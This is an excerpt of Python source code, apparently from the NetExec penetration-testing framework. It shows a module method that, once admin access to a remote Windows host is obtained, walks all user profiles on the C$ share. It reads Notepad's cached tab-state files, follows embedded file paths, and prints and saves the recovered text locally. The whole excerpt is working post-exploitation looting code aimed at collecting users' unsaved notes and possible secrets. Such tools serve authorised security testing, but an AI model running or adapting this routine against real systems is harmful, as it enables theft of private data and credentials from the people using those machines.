Method on_admin_login

nxc/modules/notepad.py:124–183

(self, context, connection)

        ]

    def on_admin_login(self, context, connection):
        self.context = context
        context.log.display("Searching for Notepad cache...")
        for directory in connection.conn.listPath("C$", "Users\\*"):
            found = 0
            if directory.get_longname() in self.false_positive or not directory.is_directory():
                continue

            # Path for Windows Notepad tab state files
            notepad_dir = f"Users\\{directory.get_longname()}\\AppData\\Local\\Packages\\Microsoft.WindowsNotepad_8wekyb3d8bbwe\\LocalState\\TabState\\"
            try:
                for file in connection.conn.listPath("C$", f"{notepad_dir}\\*"):
                    if file.get_longname() not in self.false_positive and file.get_longname().endswith(".bin"):
                        file_path = f"{notepad_dir}{file.get_longname()}"

                        # Read the binary file
                        meaningful_strings = self.read_and_decode_file(connection, context, file_path, directory.get_longname())

                        if meaningful_strings:
                            found += 1
                            context.log.highlight(f"C:\\{file_path}")

                            # Output content
                            content_lines = []

                            # First loop to handle meaningful strings
                            for string in meaningful_strings:
                                if bool(re.match(self.FILE_PATH_REGEX, string)):  # Only needed if checking locally
                                    # Read the file into a buffer
                                    meaningful_strings = self.read_and_decode_file(connection, context, string[2:], directory.get_longname())

                                    # Second loop to handle content inside the file
                                    for string in meaningful_strings:
                                        context.log.highlight(f"\t{string}")
                                        content_lines.append(string)  # Store the string value only
                                else:
                                    context.log.highlight(f"\t{string}")
                                    content_lines.append(string)  # Store the string value only

                            # Save to file
                            filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
                            export_path = join(NXC_PATH, "modules", "notepad")
                            path = abspath(join(export_path, filename))
                            makedirs(export_path, exist_ok=True)

                            with open(path, "w+") as output_file:
                                output_file.write(f"Source: C:\\{file_path}\n\n")
                                output_file.write("\n".join(content_lines))  # Write strings line by line
                            context.log.success(f"Notepad tab state content written to: {path}")
            except SessionError as e:
                error = self.get_error_string(e)
                if error == "STATUS_OBJECT_NAME_NOT_FOUND" or error == "STATUS_OBJECT_PATH_NOT_FOUND":
                    context.log.debug(f"Failed for user {directory.get_longname()}: {e}")
                else:
                    context.log.fail(
                        f"Error enumerating shares: {error}",
                        color="magenta" if error in smb_error_status else "red",
                    )